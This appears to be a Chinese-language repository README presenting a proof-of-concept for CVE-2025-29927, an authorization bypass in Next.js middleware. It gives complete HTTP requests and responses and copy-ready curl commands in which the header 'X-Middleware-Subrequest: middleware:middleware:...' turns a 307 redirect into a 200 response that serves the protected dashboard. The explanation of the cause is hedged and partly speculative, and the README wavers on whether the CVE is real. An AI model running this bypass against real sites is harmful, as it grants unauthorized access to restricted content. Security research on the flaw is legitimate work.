本仓库包含 CVE-2025-29927 的概念验证(PoC),这是一个假设的漏洞,演示了 Web 应用程序中中间件处理的缺陷。该 PoC 展示了如何利用特制的 HTTP 请求绕过重定向逻辑,访问受限内容(例如仪表盘)。本项目仅用于教育和安全研究目的。
免责声明:本 PoC 仅限在获得明确许可的受控环境中使用。未经授权对您不拥有或未获得测试同意的系统进行测试是非法且不道德的。
要跟随本 PoC,您需要:
abc.com)(具体软件/版本根据 CVE 详情待定)。curl(curl.se)、Burp Suite(portswigger.net/burp)或自定义脚本。CVE-2025-29927(占位符;如有官方 CVE 详情请替换)似乎利用了一个中间件配置错误或逻辑缺陷。该 PoC 表明,添加一个自定义头部(X-Middleware-Subrequest)会改变服务器的行为,绕过重定向机制以访问受限内容。这可能与中间件(例如 Nginx 配合 Next.js)如何处理子请求或验证头部有关。
关于中间件漏洞的更多信息,请参阅 OWASP 中间件安全。
该 PoC 包含两个步骤:初始的失败请求和修改后的成功请求。每个步骤都包括 HTTP 请求、响应及详细说明。
此步骤演示了访问 /dashboard 端点时不添加额外头部的默认服务器行为。
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard:尝试访问仪表盘端点。User-Agent 和 Accept 模拟典型的浏览器请求。307 Temporary Redirect:表示服务器重定向客户端,可能是由于身份验证、授权或路由逻辑(例如重定向到登录页面)。Server: nginx/1.14.1:标识 Web 服务器软件。/dashboard 的直接访问。此响应中缺少 Location 头(可能出于简洁而省略),暗示重定向目标在其他地方。此步骤引入自定义头部以绕过重定向,成功获取仪表盘内容。
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware:添加到原始请求的自定义头部。重复的 middleware 字符串可能利用了中间件栈中的解析或验证缺陷。200 OK:确认成功访问仪表盘内容。Content-Type: text/html; charset=utf-8:表示 HTML 响应,很可能是仪表盘页面。X-Powered-By: Next.js:表明应用程序使用 Next.js,这是一个常依赖中间件进行路由的 React 框架。Cache-Control:禁止缓存,这是动态、用户特定内容的典型设置。Content-Length: 30174:响应体大小(字节)。X-Middleware-Subrequest 头部可能诱使中间件将该请求视为合法的子请求,从而绕过重定向逻辑。这暗示了子请求验证或处理过程中的漏洞。按照以下步骤使用 curl 复现 PoC:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
预期输出:307 Temporary Redirect 响应。
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
预期输出:200 OK 响应,包含仪表盘内容。
注意:如果在获得授权的环境中测试,请将 abc.com 替换为实际目标域名。
curl 进行 HTTP 请求的指南。本项目基于 MIT 许可证。详情请参阅 LICENSE 文件。